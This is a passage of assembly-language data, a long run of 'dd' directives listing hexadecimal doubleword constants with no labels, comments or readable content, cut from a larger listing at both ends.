0C3F7E204h, 480E340h, 2FBCD53h, 0C5EA7971h dd 0A8D22532h, 4868983Ah, 9F0C8110h, 61306FDCh, 341900A5h dd 4DDD6B84h, 4526C7E9h, 45264051h, 1172802Dh, 51E64F1h dd 7FC88ED8h, 0EA94009Ah, 922DB632h, 3AB31917h, 0ADC0001Eh dd 44C37114h, 0E905254Dh, 47BC6C80h, 0B43F59FEh, 0EDFF82E2h dd 401AF85Fh, 0F64B08h, 59DD9BCBh, 197886AEh, 0C916EC00h dd 9EB180DEh, 18389066h, 517E89CDh, 7900C63Ch, 7FD49B1Fh dd 6F4570h, 288F14DFh, 9DB33605h, 2C088607h, 0E4009424h dd 70938D2Ah, 0A44000F3h, 8F6A8098h, 98B899FFh, 4ED41203h dd 1D9AB824h, 0CFB9BF10h, 0BE091F5Dh, 8BFDA480h, 1A002DC2h dd 49628710h, 0BED8218h, 84938AC4h, 0A6C21440h, 0FFC66B00h dd 23B0FB98h, 0B882004Ch, 0A574E73Ch, 44098901h, 9A9FC5FEh dd 50176074h, 482549D1h, 4075E201h, 348A76D8h, 6A07E874h dd 1F6415F7h, 0B6E52971h dd 92501880h, 0D767F34Ah, 7177400h, 7172D042h, 0D39509E0h dd 740F946Bh, 2ED80077h, 68C51DA9h, 0DE103F60h, 2C9A2051h dd 8A466F7h, 5F81DC21h, 0FCEBF253h, 0EEB78424h, 0D90101EAh dd 0CE88DFDh, 6321F0B4h, 97AE9300h, 77380DB7h, 25BC0C39h dd 9BC8F9CEh, 64EA480Bh, 13D48017h, 0CB5531h, 8F3D74A1h dd 0D86BB9D3h, 0F7779F00h, 0F5FC0B3Ch, 984ED0h, 0D6DA46C8h dd 0FA01D4B0h, 0B5BF3FDBh, 0CE94EBBh, 383CB570h, 35025310h dd 4B8ADA43h, 0C7EE2EC0h, 0BE541938h, 68B10041h, 96766269h dd 0E2280093h, 7084EE4Ah, 4C006527h, 17DBAF18h, 3BBB2901h dd 8009E36Dh, 94073628h, 0F2D36216h, 0E5B809E3h, 0EC00DC3Eh dd 0B2FB6CB6h, 0E31351Eh, 0D95D0D8Fh, 0C67C2C57h, 0EC39DA45h dd 0FF7A400h, 0C17FD5Ah, 0F255AA00h, 0E34164F9h, 1C9F3AE6h dd 0AF60FAB0h, 99005B31h, 154F6BCh, 46090C0h, 1441BA08h dd 53890A9h, 7013A21Ch, 4C40230Bh, 6652F701h, 0D2B80090h dd 713263F4h, 31242BBDh, 3DA658h, 0E26C48F7h, 245781A5h dd 0E8AE4Dh, 0C244CCDAh, 0B90364C3h, 0FEA3D60h, 0A3DDD0FFh dd 0BD1404B1h, 0C07E1927h, 0D6B3E1C4h, 248F5000h, 7B0445A2h dd 4B3A048Ah, 0A313E67Ah, 6BA901ECh, 0C6BF5D3Bh, 0E19990D4h dd 2151D70h, 0EE93377Ch, 7860A1D3h, 1D0130D6h, 23226075h dd 49F0F38Eh, 0B09873h, 2A92905Fh, 0C5A4E50Eh, 45E4AF0h dd 130063BCh, 0FFFBEB71h, 4300BEF6h, 0E6159392h, 60E0A403h dd 0B4233818h, 0FAFCA246h, 1FC22D02h, 400BD817h, 0F01670h dd 18AF8D4h, 0C8B8DBE0h, 1393EC00h, 0C4EFFF4Fh, 256D0981h dd 0BC0053CCh, 0EA8FFB4Dh, 32DDDE00h, 0DFA05643h, 2DB71D0h dd 0C2FE4C80h, 400D2Bh, 0A17A6CBh, 0B0906FE1h, 2F9BD9h dd 0CA5F9D72h, 94F40362h, 0C91E0200h, 0C68FB05Ch, 90F300D3h dd 0DEC2BA78h, 96EA52BDh, 3C4474EBh, 12B65D62h, 93C4846h dd 0F74D24A8h, 1D2485D8h, 80689095h, 0CD5DD3B3h, 0A840DE60h dd 0C8EF42F3h, 63A03845h, 3FCC4E80h, 5D6DF521h, 426C4601h dd 6B53FA24h, 79F060h, 0B2C68AB3h, 5A737B6Ah, 0F63DEC90h dd 8F84973Eh, 3546A440h, 90958757h, 2F7D0B48h, 0A0C80A4Eh dd 50074A2h, 1B28D1E5h, 1948C7h, 934D80D9h, 0AB63FD24h dd 0F6948h, 0C10D55A9h, 2F61D5EAh, 0B0076236h, 0E221608Ch dd 0D95DCEE3h, 343B0E4Ch, 3CCB64DAh, 828910C0h, 0D4463023h dd 4BAFE060h, 80F0045Ch, 5A54C95Ch, 0CDCE0F15h, 5E47519Ah dd 3332A00Eh, 9CA05BFBh, 4201E5BEh, 0F58CCBF1h, 0AFDDCE77h dd 0E49C30h, 522EDB0Bh, 0E52F974Ch, 700C9E02h, 405A6E8Eh dd 179CFD10h, 0C7638789h, 938060FCh, 5900A682h, 9594D23Bh dd 8620B3h, 0EADE61D1h, 8883E2C7h, 0AD58E713h, 0A0651C5Fh dd 8EB10198h, 0A11A0F52h, 206DED54h, 34C2CC68h, 21AB3E12h dd 45F4C47h, 542E9B60h, 4979284Bh, 0A5DA1388h, 645020BEh dd 0EB5A2342h, 16EE1000h, 0A1775111h, 0CDED07CCh, 1F4CB7FCh dd 80904F69h, 22B96F4Eh, 0E76E0F4h, 2496B224h, 0BE6E9400h dd 7C535102h, 9DBC3086h, 22915518h, 0CCDBF807h, 0D282E947h dd 604C4242h, 0E19E32FAh, 4000D0BEh, 33A4BA13h, 0A71376FFh dd 6B003083h, 0ADD1F497h, 6C451C7Ch, 13724249h, 0C0806AB5h dd 0E9FF0851h, 6C8CA00h, 33832D48h, 78CC74F1h, 297E4Dh dd 0D9F70DDh, 0B5988134h, 162FC903h, 0BB9343A0h, 7F61A077h dd 0BE7ECDh, 95F3FB86h, 0BAE73D19h, 30800148h, 28536A96h dd 7DC302B0h, 0ED64292h, 41E42861h, 0CDB57BD0h, 0AEB2F0D9h dd 0D44D7A01h, 0C052AC64h, 9E88C4h, 41D68A79h, 0F0773D7h dd 200EA727h, 212075ECh, 2D7D009Fh, 92DCF589h, 0B8B85323h dd 66BC091Fh, 4EBC3825h, 85390513h, 0C561AF67h, 80889504h dd 77EEE04h, 0AC401D12h, 26E7F444h, 0BB82E4E2h, 20482B36h dd 7900D91Fh, 2F5589A1h, 3FF00Ch, 4FAA6F40h, 38E36C03h dd 0C5739800h, 15067F1Fh, 5795AECh, 40D80B10h, 0D7375CD8h dd 0B80A2DD0h, 0F0550DF9h, 16823201h, 0FC601A7Eh, 0CE9418C5h dd 52E18862h, 0FE487D00h, 219D6DA9h, 0BA82052Eh, 0BB9AF550h dd 26C0A887h, 56C16Ah, 8F1FAC46h, 0D543811Ch, 9E0E9201h dd 27C915F3h, 26F8D8h, 61E7A874h, 0EDE9D265h, 43903CF4h dd 0C01B8FAh, 307222FFh, 40C8B57Dh, 0ACF43BE6h, 62EB7380h dd 296B6FFAh, 89C73600h, 0E39CFF49h, 52E50013h, 0F64590D5h dd 0C4036E74h, 10D03FB0h, 0CCD8F0B6h, 0E16600F0h, 0A7628EDEh dd 2E04429Bh, 55875486h, 850B1080h, 12E90222h, 0DDCAED82h dd 9042E4AFh, 0FCE0E4CFh, 64056699h, 0DF378387h, 0EC24C780h dd 0A51300BFh, 2DB0D170h, 167B794Ah, 10D36224h, 360CF980h dd 888C31h, 0B0D8DADDh, 0BD939482h, 3B79C30Fh, 1C50E0EBh dd 48A68D56h, 580E127Ah, 0BC40142Dh, 0F76A4D7h, 0B9B8CF5Fh dd 0C9D86E2Ch, 523A5881h, 2ED1F4BEh, 49E57600h, 0E6D3C7B2h dd 86E060AAh, 0E10C28A6h, 9204E4F4h, 0DE956CFh, 86FCD080h dd 6C3802BCh, 3F1EC013h, 6B24DC60h, 0E578E0Eh, 6792A0BAh dd 432F0C2h, 80AEBB53h, 9E6C88ECh, 901DE237h, 90378830h dd 0DE000E4h, 98A31E25h, 811FE36Bh, 0BC9E5573h, 0A59C4541h dd 9820443Ch, 5C9A0071h, 2270EA6Bh, 44B098DAh, 28C4D013h dd 891EAEh, 0D473C3F4h, 0A00055ABh, 82CD392Eh, 171DED74h dd 1F42168Fh, 81500284h, 94608E69h, 0EF00307Ch, 17021A0Ah dd 76729BFCh, 0A4804D1Dh, 7CB4FB01h, 0F3EC1C20h, 80414CC9h dd 1165EAF8h, 0E2FDED6Fh, 0DE4F0F28h, 1261C69Ah, 0CFEA6D15h dd 8AC4D9A0h, 600ED05Ch, 778E06E0h, 0D41F48ADh, 61394300h dd 48708635h, 0DCF37600h, 0F4FB2053h, 0D5A301ABh, 0C0D8308h dd 24184BCh, 0E0AC85DAh, 614BD800h, 0D44F35F1h, 0B0994630h dd 9DF47CDh, 17AD8869h, 0BD4424A1h, 0E0D180F5h, 7B57314h dd 0A98526EBh, 0A6770055h, 0C3FBEF24h, 28F29501h, 0B78EB31Fh dd 64A3C74h, 41571ACh, 3504890Fh, 98D1328Bh, 0A14A7080h dd 0ADB1EBBh, 1A2E00A7h, 0F2A0F147h, 638D1700h, 36EB2ADCh dd 319A00A8h, 4A4FA40h, 2500E738h, 1267B748h, 4F5966h dd 0D53B6AF7h, 0B0CDF9EAh, 33D18700h, 7A91046h, 0E967018Ah dd 9383768h, 0DE0AD8A0h, 57DDA3Dh, 0C4412388h, 0FDBE5280h dd 3E81F69h, 4D5007AFh, 0BC294497h, 0CD620150h, 0D73530FBh dd 0E6388C2Ch, 8B31D200h, 0C654BE84h, 8221F212h, 39D904B4h dd 0CC508EA9h, 8449001Ah, 17E843D4h, 8500E660h, 8D2B2CCCh dd 7257376Bh, 3CAFEE9h, 0E59CC1EFh, 6903D6D5h, 103EB355h dd 0A616F14Fh, 348B830h, 1F0B6B8h, 103C55F3h, 0BFCB03C8h dd 0A8A8C210h, 73BD55Bh, 0C17550EAh, 70D8008Fh, 0B200FA8Ah dd 5F60DFE3h, 8D3E83h, 0DDE53B21h, 1785486Fh, 0DF00A6FEh dd 71E0D6B0h, 326E24Eh, 0D8F7A3AFh, 39020D66h, 93495DEAh dd 0D55481D9h, 864CA69h, 0B61F0C9Eh, 77A84DB4h, 0D56B4B0Ah dd 901C1066h, 63671CE8h, 9400F85Ch, 0FB22D0h, 8733AA3Fh dd 30322CDAh, 0B67E5301h, 0D4C2FC8Bh, 0CAD3D0h, 61FAD7A4h dd 0AC56C56Ch, 7EF14B00h, 2A295302h, 66B30050h, 4EC110EBh dd 0A400B7EEh, 0F769E070h, 960A0D5h, 77F97FA8h, 61910755h dd 1A873D05h, 0F2459880h, 0C5601BFh, 3EA15710h, 712ED417h dd 54849303h, 9089BEB2h dd 0E49D9BA4h, 1CE80026h, 94BACE2Fh, 0E47C41A5h, 0CCF2C0E6h dd 0C8070B00h, 4FDDD82Ah, 0C19B1F9Eh, 1AFC81D4h, 0D8144450h dd 9008CD2h, 3418B26Bh, 303716E3h, 6D61B1BEh, 3D009057h dd 4CC91945h, 0EFDCFh, 84D02475h, 0F299C192h, 90816B1Dh dd 229B96C0h, 2605EADDh, 0D3F464h, 0D0143BE1h, 16E87029h dd 98940A00h, 96696B3Ah, 0E0E90377h, 58086182h, 0BA857FC1h dd 0FC7C8111h, 24143184h, 64037840h, 1FD1FA4Dh, 58AC5544h dd 0FD4118BEh, 0E4081660h, 0E4246AAh, 3AF9BC7Bh, 6D84C0DDh dd 79678FA1h, 916418A0h, 7AE79000h, 0BACDF83Fh, 173500F5h dd 4B3DE2D6h, 4400A42Bh, 8992EB58h, 4FB9A3h, 0E30F72C3h dd 57343E79h, 0F285Ch, 0D22FCE0Bh, 68D67A7Eh, 57041174h dd 0C8722486h, 8B180010h, 5584D79Eh, 890F0F30h, 0C04AAE1Bh dd 85D9297Fh, 6B3C0049h, 0D042C64h, 5500A9A7h, 0D4EB90F7h dd 5724DEh, 8489C360h, 0FD32D8BDh, 0F629AE00h, 0D68AEF27h dd 0E9DF004Bh, 35442190h, 937EE822h, 77607600h, 0E1F7F0D7h dd 540500A7h, 0E860B47h, 4E00C7E2h, 31E462DBh, 1E80E013h dd 40D0E924h, 0CDDA7A3Bh, 741F292Fh, 1D008125h, 0DE6F37F0h dd 0F7AA00FFh, 6A10678Ch, 0A1005C49h, 0F639EBB4h, 7C09FB97h dd 68CE3F5Bh, 1D90E180h, 270FC810h, 613E7B00h, 47313C66h dd 74A20282h, 0EFA80B43h, 0C991B9C0h, 2AAD9B00h, 0BE7F0F66h dd 5C9E06F5h, 393D967Dh, 9F00F6B0h, 0AA6273E0h, 50FBE1D7h dd 28B1B8D3h, 84407Ch, 29EFB947h, 0B47E94CEh, 0BFF6FE01h dd 4A9986FFh, 9803D050h, 118A0073h, 19437C4Bh, 0F60254ABh dd 7597E913h, 59C280D3h, 0BAEC430h, 92ED5DB9h, 99C7A280h dd 0F1006337h, 61BE0B45h, 3C74280Ah, 6C82C8E0h, 7CFCA9E9h dd 0F48ABC80h, 23EF722h, 0E398000Fh, 1F41EF85h, 0CB630132h dd 4C54F6F1h, 1448C886h, 0E43ED800h, 0FCF91335h, 7A4A015Bh dd 8ED22EFAh, 7D804360h, 0F5404F0h, 33519906h, 185C6Eh dd 0B8EB09A0h, 52DAE17Ah, 0DEC4C618h, 406898h, 2A14B68Ah dd 0FF1DDF7Dh, 43D5A209h, 28582047h, 0D62B68h, 0BC383A8Fh dd 5BB91BCAh, 8C198500h, 4B473B0Ch, 36793C4Dh, 2B80EFBAh dd 235E2A2Eh, 0B4010B3Eh, 5DF855E1h, 5BE8BF59h, 45011EBBh dd 68E240D3h, 521596B1h, 91C0EC14h, 0EEF600C4h, 0F2A80140h dd 0C1E0A8F9h, 8AB50BF7h, 3571264h, 71696A37h, 0A0930598h dd 408083EAh, 1B19DECh, 0A50712C3h, 17F145C2h, 707E80BFh dd 1BBCD3h, 0FEF3C958h, 0C4247C65h, 0A70EF27Dh, 0C56F6B3Eh dd 0F4012A72h, 0C178CE4h, 1FB68C24h, 0C19F25F9h, 48D3ED5Eh dd 8CE824C7h, 0F6F0E0BFh, 0C0BE0059h, 7A5B9F68h, 94180183h dd 1540551Fh, 7D460734h, 0A776C3C8h, 0D470B0E4h, 97071CB9h dd 33D9938h, 0EFC2B130h, 17B300EDh, 915A9807h, 7900D0A2h dd 0CE2A5F92h, 9C3D3Fh, 0F0B32FB4h, 37C46D3h, 8B07D87Eh dd 8916F66Bh, 0D03563F0h, 0FCEB03AFh, 8D7F448h, 650020B6h dd 0EFDF569Eh, 0F61280Eh, 648F3D89h, 6C4BE580h, 340B125Eh dd 80A911E9h, 809AEF32h, 3BF30097h, 0DDCDD79Bh, 0BC0EE24Ah dd 8069F72Eh, 565B265Fh, 7E4B399Fh, 0A77C2180h, 8C0B6C0Fh dd 863FA40Eh, 0A2DAAE3Bh, 48DF8103h, 0F82ABB4h, 98FB2A1Fh dd 45D05122h, 70DD5841h, 1607E63Ch, 58EAB76Bh, 3B93B570h dd 85F6006Ch, 0ED05A215h, 5E02F1B8h, 0C2DBD132h, 2D848708h dd 0B66DF470h, 4B16008Ch, 0DD4C58E7h, 1E03673Dh, 0C3898EA2h dd 7C803F0Eh, 0A9B1Fh, 7AF42507h, 6103FE69h, 0E34E29E8h dd 0DA50E777h, 3C4499EDh, 3F805F85h, 2B4CF2A6h, 8200F153h dd 7DF42947h, 306AAA7Bh, 98104E7Eh, 63000BBDh, 8D324F45h dd 18FB52BBh, 2054CC89h, 5E004192h, 7433FFB5h, 44CD875h dd 0DB55F1DEh, 0D3B080E4h, 3B0012F7h, 0E7354680h, 0C1F939h dd 58F59DEEh, 0DE4D0853h, 27C0EB4Ah, 0F3F6B2h, 18FEB931h dd 1FD9092Ch, 4A90AE1Ch, 0FB348500h, 0FB4B72A9h, 0C0D28BDCh dd 0EF661220h, 370198DFh, 5CCEBA9Ah, 0C7DC0D46h, 3F1B0091h dd 6B569C40h, 3300178Bh, 0DE9D7227h, 789C7F7h, 0ED80AD2h dd 546B80A1h, 46002ECEh, 50A275E5h, 0DCC1E0h, 0B1A3DA78h dd 89D2ECF1h, 30FCA00h, 55BBEE4Fh, 9B1100F4h, 0ECA3C3E9h dd 0BFE25748h, 9FC98904h, 87800D13h, 0FA4BADh, 0D9A4AE97h dd 33548A65h, 16422203h, 66650DFh, 0E290A762h, 800B8DDh dd 32119837h, 3F1AC1h, 0B90D02BDh, 9CC9B90h, 23A98300h dd 0BE507DD2h, 32DF00F0h, 2BF38B05h, 1E00AEF6h, 0B9DD7626h dd 5C077B56h, 8903F52Ah, 28E95387h, 59D61000h, 0E76E5CB2h dd 7E9D0083h, 80C17F12h, 0C2003CC4h, 0B3B059BFh, 0AB3F26h dd 995FD2A6h, 29F310C8h, 0D1155C00h, 0FAFA7C6h, 3A4A0E30h dd 70609491h, 6C13FDF8h, 479EF00h, 0FF61A84Eh, 82A302CCh dd 240D7A8Ah, 0C1A0DB63h, 120571BAh, 45C53867h, 213D5680h dd 0D093007Bh, 0E8F8223Fh, 0D5079239h, 0A887130Bh, 1ACEF6F1h dd 330DCD4h, 9DC08B40h, 0D0FF2DF2h, 84EB5318h, 4D175401h dd 0AF37F5E2h, 0B4D80A31h, 38C00A7h, 3CDC8147h, 677EF936h dd 0F5339278h, 0C3831114h, 33C7E069h, 4C81C625h, 0F93008FCh dd 675D2061h, 54E87Bh, 624D9CBh, 0CB743FAh, 0B901FE74h dd 0BE3868F4h, 36207E71h, 3E3107FDh, 306AFA11h, 29C260Fh dd 42257500h, 0D06973FFh, 0F880C07Fh, 0ACA1D1E7h, 0AA580D0Bh dd 0A0F880D8h, 0A0776AD2h, 132A248h, 9C15B383h, 0D01E0F49h dd 0FF0C110Eh, 4834C07Eh, 0DEB60EE8h, 3E2BFDF0h, 3B21E00Eh dd 0CC56E596h, 1D01EFC7h, 3780F863h, 67E4F9E4h, 64FC00ACh dd 699FAA02h, 3900C1DDh, 0E0FA154Eh, 8750A1h, 0F4584208h dd 0AE9555F9h, 0D8A88900h, 6E12D7FBh, 0E2A9F43Ah, 41AA0039h dd 69D2BAC3h, 0AC034F91h, 1C05E52Fh, 36DDC03Dh, 25E90F85h dd 6820AA70h, 0FAAF7304h, 6A839B00h, 0E05EA72Fh, 3AF700ABh dd 7316CA66h, 0FB0023CCh, 2432527Fh, 9E572Ch, 7EBEA994h dd 0AD0D8580h, 3644490Eh, 0CCF3E021h, 7C7D9648h, 4BF70011h dd 0E8461E3Ch, 0E8A40142h, 77009879h, 952B6756h, 74437F25h dd 0E5B03092h, 770EA120h, 7A01B577h, 0EE652972h, 58822498h dd 9A7BA473h, 5B1803h, 0B59F4230h, 91B28644h, 61021F4h dd 0F0444BDCh, 27594CE8h, 47D86705h, 310C01C0h, 0D4335304h dd 593950D1h, 22F6000Fh, 0E0FB8ADEh, 69360C62h, 883184C0h dd 74E25E1Ch, 0FC3EF503h, 4C093067h, 0E246A821h, 35A26300h dd 12CCFD82h, 67570099h, 9BFA4DEh, 214F662h, 23309ED2h dd 0E25B004Eh, 45BDFF59h, 3D544486h, 3E24307h, 0DB06B574h dd 7A8B7CF0h, 881130E5h, 0DC3CAA10h, 0CB82A401h, 832D4A60h dd 39A31FCh, 0C3BDBC8Ch, 25A8E6D9h, 2E00E508h, 19C26135h dd 0B8DA760h, 80854831h, 7D9BC300h, 6A072941h, 40D41FE8h dd 3BF17E40h, 0CCAE00CBh, 86DF44C4h, 0A6000AF5h, 3427C602h dd 1306DBBh, 8C0E92Dh, 0E0A0C122h, 0D3F68FA3h, 6CBF2100h dd 40EB1C43h, 0A2A25C05h, 1E8AE503h, 8380A1B5h, 71021082h dd 1720F962h, 13E3607Dh, 5203008Ah, 0FB271549h, 0D302FF67h dd 1C797AD6h, 0F9CC40CEh, 594C01D7h, 8853D582h, 17AFF087h dd 0BBE6770Eh, 0FCBC05Bh, 201A43h, 0F9DE0DA1h, 0CE13A9E5h dd 8315B000h, 7B5D5E8Eh dd 59F66Ah, 0B2B3277Ah, 61AB3ADCh, 0F35C3500h, 0D66AB660h dd 34D10FD2h, 5B617ADFh, 0CCFB7E4Ah, 20004318h, 135DD94Bh dd 992A2Eh, 59AB891Ah, 63105B28h, 0A68FB400h, 7CCBDDCh dd 9DB37841h, 0A9CD7100h, 390F628Eh, 8A797FD9h, 187C04D6h dd 4038A99Ah, 940024B1h, 0E297117Eh, 7889726Ah, 8F51015Eh dd 46E39AFEh, 9E288E2Fh, 561190BEh, 0A2B41169h, 1E08E721h dd 845A90C1h, 0AB48A3B2h, 8E22C244h, 89AD2910h, 0A15F08AFh dd 0A108923Ch, 84B3AE44h, 42BDBE22h, 0A8C71106h, 480C7721h dd 84CAF127h, 44FB6622h, 0B90091BBh, 924EC86Bh, 70373h dd 0FD598C49h, 71D6FEBCh, 0FF879600h, 221CA1A0h, 24330FB3h dd 2DC72AEDh, 20E15090h, 890FA518h, 3CC79Dh, 0A10A443h dd 3D2200D3h, 0B416F1BFh, 0FE00E3F4h, 0F6D88A37h, 1718FDB0h dd 0FC78E4h, 0F799842Ah, 0BD50362Ah, 8B1FC18Eh, 5A47C811h dd 9D75F16h, 0D5D44700h, 19CE0368h, 2E4A8632h, 80FCEDC9h dd 6EB8C110h, 0A04B49h, 773BB4F8h, 1B72F5F6h, 6CBA9807h dd 0E46E3805h, 1490BE63h, 0E09E25h, 7785B3B9h, 0AFD2491Ch dd 0A3ABD40Fh, 4D10C04Eh, 0FC696FD0h, 2401BF1Eh, 0E891AE26h dd 3E0095D5h, 3359B22h, 6CE94A6h, 3D85512Fh, 48002096h dd 0CD662407h, 181B1AC5h, 78893E2Bh, 5F00D06Dh, 3D4FF770h dd 8355CFh, 0AD42314Dh, 9A77D3B0h, 7E0EC700h, 92A3BC01h dd 0CD7083h, 29AB730Ch, 36DA2E45h, 8E004FEAh, 128FF1D1h dd 0A054Eh, 0B2EF7F32h, 6AA7A4D0h, 17719B0Eh, 0D3B2737h dd 0E890D7C0h, 30100033h, 0F093F322h, 0AC03785Fh, 26F5D108h dd 0E9418898h, 31920470h, 803D49C3h, 0BF0377A5h, 7FA88E26h dd 2B651B00h, 8F0C4Fh, 10320229h, 6BE228FCh, 1770505h dd 0DC801A40h, 24FD5A5Dh, 0CC7BDDh, 23A35214h, 5B03DCB4h dd 0D28566CBh, 4A4998EDh, 0F0B70138h, 0CE57C70Fh, 6DC5CC30h dd 800CE93Bh, 1067A1A6h, 7659280Eh, 3EB11EBBh, 93234346h dd 0AC98BFD5h, 0F10F176Fh, 0A0428CC7h, 502F2F9h, 5CBA0E4Bh dd 0D302A2FEh, 0FCA79C5Dh, 800A1429h, 83B51B20h, 0BA44918h dd 281E3A10h, 999AAF7h, 0D0D64F8Eh, 0F4152CA3h, 96894590h dd 16AB8503h, 0B0500112h, 492FE6h, 0C00310DCh, 2D9190BEh dd 0FF153Eh, 6E7151DFh, 0A6254h, 0F7A7D003h, 28F94726h dd 0C10E431Eh, 0E65D2A40h, 7271F281h, 0E0E2F311h, 0C2BE37h dd 2D92D193h, 3E1A3640h, 65C4901h, 370C538h, 0D815D040h dd 3B3990B0h, 0BD800D0Ch, 7C8ABB31h, 0A2FAD3ADh, 0BF7B9700h dd 506C3C48h, 343A001Fh, 63D77FFCh, 0E00C374h, 2E0C420Fh dd 0B0C644ADh, 0C01705F0h, 20953D3h, 6D7975A7h, 35D88487h dd 0D7950558h, 59C58060h, 0C00C309h, 374555E5h, 0E87D23h dd 997B1A19h, 4F076A4Bh, 2A2D8000h, 75E7DD4Ah, 5C5600C3h dd 0F2CA33FFh, 77183074h, 829448F0h, 22750043h, 71E88F6Ch dd 357D0E2Fh, 45A46600h, 0E33763E6h, 0EB1A0285h, 0D29D081Bh dd 8A4500D5h, 78A454h, 44F8DB2Dh, 0C07703D9h, 6D383409h dd 0F2800E8h, 12809740h, 4E78FEh, 0ABD08DA4h, 0C60AEF2h dd 6E51F868h, 260D765Dh, 6004B8h, 0E1C56CE2h, 300F25ADh dd 8481E47Bh, 18C0836Dh, 2657960Dh, 40B7D5h, 0D846A75Bh dd 890023A9h, 2A173338h, 40761Eh, 64CB5074h, 4C1562Bh dd 86E9D000h, 519C959Fh, 0E5E200DFh, 7233F91Ch, 4500F613h dd 0E987948Bh, 1BC5FFFh, 779C8161h, 0D897C81Dh, 0BD094E0Ch dd 8F542A19h, 0C19DC57Ah, 0DB40E01Fh, 9E697831h, 26AB009Fh dd 0EE3B537Bh, 90007AF2h, 0EFD1D346h, 0BD7829Ah, 3441BC5Ch dd 0AC19C00h, 0BE0099FBh, 37134362h, 48695C5Ah, 6680C8ECh dd 0D1900F17h, 80EC6C48h, 0D8C509DEh, 12DD0081h, 39554870h dd 2C1698ECh, 10023E11h, 4031A3BAh, 54B0FEA4h, 3D33B8EDh dd 0FEE054h, 0AC6D206Eh, 77165523h, 0E4A8AD51h, 8A02AFDCh dd 64B99C8Eh, 80662Fh, 66D54658h, 0AA4205FDh, 339BC603h dd 0F82ECF5Ah, 26790777h, 9003EBh, 19CA55CDh, 0C42E0D9Bh dd 342C4867h, 1446EE80h, 6B4723h, 0D568048Dh, 83698FB8h dd 6E44F703h, 7B765Fh, 0EA4AD118h, 30C729F2h, 0FDCCAE0Dh dd 0E2E04835h, 29C86FF1h, 958BF5A1h, 0EC76F0B3h, 712B8D12h dd 0AD7D7400h, 5920D366h, 0E079CFDh, 0EC94A5D9h, 0E1011A20h dd 0E4CE3ADAh, 8DE09782h, 151000FDh, 9BC1E894h, 7D006221h dd 0A3F53A30h, 905713D1h, 0DD51007Ch, 0C72789F1h, 493E295Ah dd 4FE789E0h, 0B12020E8h, 18CEFA8Fh, 0A8C24377h, 0E7074730h dd 0A9B4E1DAh, 3C8B61F0h, 0AA8CA0FFh, 8651DB0h, 0C1BC494Eh dd 0BF325300h, 5E02ADBEh, 0B8A54B03h, 0BBC0DFC5h, 0CE02FEAEh dd 1481F71Dh, 5C406095h, 0F48400BEh, 7E0F4464h, 3700BA5Dh dd 0E070E632h, 9003B36Fh, 0A87D02B0h, 956C61B7h, 0C0D57860h dd 11DB10C3h, 0AC08E06Dh, 120A282Bh, 0BFD30398h, 814B56D1h dd 0FD5243A1h, 3CCC41D0h, 288DD426h, 0E903F200h, 6C720E05h dd 43EB0E77h, 1E613E38h, 20DE323Ah, 220107CAh, 807B64C7h dd 0E44037C1h, 768941h, 0C0E43218h, 0DDD8B794h, 8C6CEA01h dd 0E8212551h, 1C8FECh, 23D3EE53h, 895D32BDh, 1DB441Dh dd 0C9F39140h, 0D6ABAD5h, 3A97A017h, 0B121CCB8h, 0BB053D05h dd 14818BAEh, 0C4CC2363h, 69C0E30Bh, 3EDE0081h, 6F31E365h dd 0E504FB1Ch, 1524C147h, 64CAC0C0h, 684109A2h, 2020B25Eh dd 19741329h, 0A5095F02h, 0C1D1F932h, 41E58164h, 2C2172F9h dd 1E12A7F8h, 7665367h, 0D08A689Eh, 0B27EE6A4h, 0A5071403h dd 62952Fh, 2CF00C68h, 747B3FDEh, 4D9AE005h, 0AF80EF1Dh dd 1E6CE129h, 0C0E47006h, 50BDCFF6h, 5981B46h, 2E3E3901h dd 27C983E1h, 0CF3B8DCh, 7A8ECFDFh, 5B00C488h, 5D8CD8C3h dd 17424774h, 135604h, 0C8367624h, 0B4009003h, 8A2D933Ch dd 9887E6D4h, 0D2BD0604h, 0E5A89E1h, 0EA710700h, 0BE98C3A4h dd 69FC79h, 1CD4DE0Eh, 8E226DF3h, 287CBCB8h, 0DB403491h dd 12156C10h, 1DFBA675h, 0D0D261h, 45051A3Ch, 0C800C7B8h dd 1B2185F2h, 7E798095h, 9C283263h, 93409329h, 6B0B2712h dd 5D621D98h, 33156500h, 0EC029206h, 0CB618440h, 0D4E18838h dd 4008B60Eh, 930F2BA1h, 13A022Ah, 371C09EFh, 4A614440h dd 85AD22h, 0DC32C59Dh, 477E3E79h, 615C300h, 0DC8A9ADh dd 237C07D9h, 0C05C5382h, 676F0E58h, 2699A100h, 986CA90Ah dd 14AE0055h, 0DCD97E11h, 9B405BEFh, 6D4700E6h, 0B11C123Ch dd 69078EB7h, 0B86079FBh, 70875C70h, 0DF274C8Bh, 0CFAEF400h dd 2F0F53A8h, 701B0ECh, 0A44DED3h, 0DCD811A3h, 7CC762B5h dd 1C60D83Eh, 0C8B16A75h, 0BE038C4Ah, 8A927F63h, 4CC8A052h dd 0F6599AFh, 64098D40h, 58ACCBC0h, 30008BA6h, 11064A32h dd 6DB6DDh, 0D873E510h, 451F42B1h, 957F2D00h, 0D639268Ch dd 926F1F0Ah, 0DF01C0AAh, 36145F1Dh, 741348h, 2235B7B9h dd 109CC8h, 21EA66FFh, 700D1E3Dh, 856E8C38h, 59B9EE4Fh dd 91BC400h, 8330E913h, 0D81E81D1h, 2800FBCAh, 42D08F8Bh dd 1C8445C1h, 391D79h, 5B3488BCh, 7B00BA96h, 0F266DAA4h dd 29E54Ch, 0D01B9975h, 2F12A32Dh, 189FF810h, 0A9892200h dd 0E00915F0h, 11CCAD00h, 0DD0E744Eh, 0F0E350FAh, 7DAFC62h dd 0F080EDF9h, 1F43A36Fh dd 0EB01A90h, 214D8902h, 48139693h, 501987CCh, 20FEC8BBh dd 3809D93Ch, 0B435Eh, 607C66ECh, 18B0080h, 0EDF79A7Eh dd 0F5735D3Dh, 0B2211200h, 0FD6A3382h, 0C6660F0Bh, 0E43587B9h dd 0CC573100h, 0B60C5DAFh, 0D600E498h, 0BA705CDBh, 27D3C42h dd 8F25DDD4h, 20442353h, 3D94D200h, 0EEEFEBB1h, 0F85200ACh dd 28F7DBAEh, 0F6002348h, 2DD75B91h, 0D62904h, 385F5D82h dd 7358A5FDh, 514F3300h, 85A6FC9h, 1E90736h, 1016E7h, 4CC00996h dd 467EA00Fh, 0CADB806Eh, 0FC142CFCh, 885C0084h, 85CFEDF8h dd 8E00943Ah, 8BD2B6E5h, 0F1144Eh, 0BA5C726Bh, 4A10F8DBh dd 0D506F071h, 7D4F0C78h, 618D0090h, 0AF673820h, 0ED31A0EFh dd 0C741843h, 